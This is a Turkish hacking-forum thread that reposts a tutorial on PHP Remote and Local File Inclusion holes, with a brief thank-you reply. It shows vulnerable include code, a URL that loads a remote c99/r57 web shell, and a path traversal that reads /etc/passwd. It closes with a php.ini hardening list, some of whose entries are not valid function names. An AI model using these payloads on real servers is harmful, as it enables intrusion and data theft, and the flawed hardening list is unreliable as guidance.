THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

Remote / Local File Inclusion

TRNooNTR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2008
Nereden:
drwxr-xr-x
Mesajlar:
2.521
Konular:
605
Teşekkür (Etti):
220
Teşekkür (Aldı):
1024
Ticaret:
(0) %
22-11-2010 00:16
#1
Remote / Local File Inclusion
Remote / Local File Inclusion (RFI-LFI)
Şimdi sizlerle son zamanların en sık kullanılan ve çoğu scriptte mevcut olan açıktan detaylı bir şekilde bahsedeceğim.
Öncelikle Remote file inclusion(RFI), local file inclusion ne demek onları örenelim
Remote File inclusion: uzaktan dosya dahil etme.
Local File inclusion: yerel(serverdan) dosya dahil etme.

Remote File Inclusion: Öncelikle bu file inclusion açıgımızdan bahsetmeye başla-yalım.Dediğim gibi son zamanların en çok kullanılan ve bulunan açıklarından.
Bu açıklar sayesinde hedef siteye php shell’ler(c99,r57) upload edilebilir, hatta serverdaki tüm sitelere zarar verilebilir.Peki bu açıklar nasıl meydana gelirler birazdan ondan bahsedelim.
Php scriptlerini kodlayan coderlerın hepsi profesyonel değillerdir, yada binlerce satır yazılan kodlarda yapılan hatalardan ortaya çıkar bu File Include açıkları.Bir örnekle açıklamadan önce bazı 3-5 bilgi örenmeniz gerekmektedir.
Veriable: veriabler, php dilinde bilgileri bulunduran sepetler olarak düşebilirsiniz.
İnclude ve include_once: Kelime anlamı dahil etmedir.php dilinde bir dosya ya, başka bir dosyayı dahil etmeye yarar.Binlerce satır kodu tek bir kod la başka bir sayfada kodlanmış olarka gösterebilirsiniz.
Require ve require_once: Görevi bir üstteki include ve include_once ile aynıdır ama tek bir farkı vardır.O farkta; bir scriptte include ile bir dosyayı başka bir dosyaya dahil ettik, ama o dahil ettiğimiz dosya mevcut değil.Bu durumda o satırı php yorumlayıcısı atlar, hata mesajı gösterir ve o sayfanın kalan kodlarını yorumlar.Ama require de bu durum yoktur.require ile dahil edilen dosya mevcut değilse, bu sefer tek bir hata kodu gösterir php yorumlayıcısı ve sayfadaki diğer kodları okumayı durdurur.Bu fark bizim için önemsizdir, ama bilmenizde fayda var
Şimdi bir örnek yapalım..
<?
include ($xoron.’../config.php’) ;
?>
Üstteki kodun bulundugu dosyayı test.php olarak kaydedin ve bir php destekleyen siteye atın.test.php yi açtıgınızda bir hata alacaksınızdır.Bunun nedeni test.php ye dahil edilen config.php nin bulunamamasıdır
www.mysite.com/test.php?xoron=http://shell-adresiniz?
Test.php de bulunun $xoron veriableı tanımlı değildir.Yani sepet dolu değildir.Bizde o boş sepeti kendi kodumuzda yani c99 veya r57 shell’lerimizle doldurarak servera girebiliriz.
<?
$xoron: ‘files’;
include ($xoron.’../config.php’) ;
?>
Üstteki kodu test2.php olarak kaydedin ve php destekleyen sitenize atınız.
www.mysite.com/test.php?xoron=http://shell-adresiniz?
Yazarsanız açıgın çalışmadıgını göreceksinizdir.Bunun nedeni $xoron: ‘files’;
Bu kod ile $xoron veriablenın tanımlanması yani sepetin doldurulmasıdır.
Local File Inclusion: RFI açıgından bahsettikten sonra ise sıra geldi LFI açıklarına.Bu açıklar RFI dan daha az kullanılmaktadır ve etkiside RFI kadar yoktur.Biraz hakkında konuşalım LFI’nın. Gene php coderların acemilikleri veya unutkanlıklarından meydana gelen açıklardır.LFI ile bir sitenin ftp’sindeki veya serverdaki dosyaları okuma iznimiz varsa okuyabiliriz.Her RFI açıgını bir LFI gibi kullanabiliriz ama ortada bir remote file include imkanımız varken local file include yapmamız saçma olurdu=) .
Bir örnekle açıklayalım
<?
include (’files/$cw/config.php’) ;
?>
Bu kodu test3.php olarak save edip php destekleyen bir servera atıp çalıştırdıgımızda gene hata alacagızdır,bunun neden, config.php nin bulunamamasıdır.Bu bizim için fark etmez bizim amacımız farklı.
Bu koddaki$cw veriablı tanımlı değildir bu yüzden aşagıdaki bir komutla okuma izni olan tüm dosyaları okuyabiliriz.
www.mysite.com/test3.php?cw=../../../../etc/passwd
ben üstte serverın /etc/passwd dosyasını okudum siz isterseniz başka dosyalarıda okuyabilirsiniz.
<?
$cw : ‘conf’ ;
include (’files/$cw/config.php’) ;
?>

Bu dosyayı test4.php olarka save edip php destekleyen bir hostta attıgınızda LFI açıgının çalışmadıgını göreceksiniz.Bunun nedeni $cw : ‘conf’ ; bu kod ile tanımlı olmayan $cw veriablı tanımlanmıştır.Yani sepet doldurulmuştur.
Son zamanların en çok kullanılan ve hostingcilerin başına en çok bela açan açıkların başında gelmektedir.
File Inclusion açıklarından yararlanarak servera upload edilen php shell’lerden nasıl korunurum diye düşünüyorsanız işte cevabı….
/etc/php.ini dosyasını açın
disable_function satırını buluyoruz ve karşısına bunları ekliyoruz.

system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open,
allow_url_fopen,shell,shellexec,execute
service htttpd restart diyoruz
NOT: Bu fonksiyonlar disable yapıldıgında bazı scriptler serverınızda çalışmayacaktır ama bu açıklardan da korumuş olacaksınız.






Alıntıdır.
---------------------
Kod:
Sanal aleme ara verdim.
Uzunca bir süre online olmayacağım.
Allaha emanet olun.

By TRNooNTR
Kod:
I took a break the virtual realm.
 Will not be online for a long time.
 Be entrusted to God.

 By TRNooNTR
tehlike80 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2009
Mesajlar:
2.388
Konular:
484
Teşekkür (Etti):
161
Teşekkür (Aldı):
430
Ticaret:
(0) %
22-11-2010 00:19
#2
bak bu paylaşım çok iyi oldu. eline sağlık

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler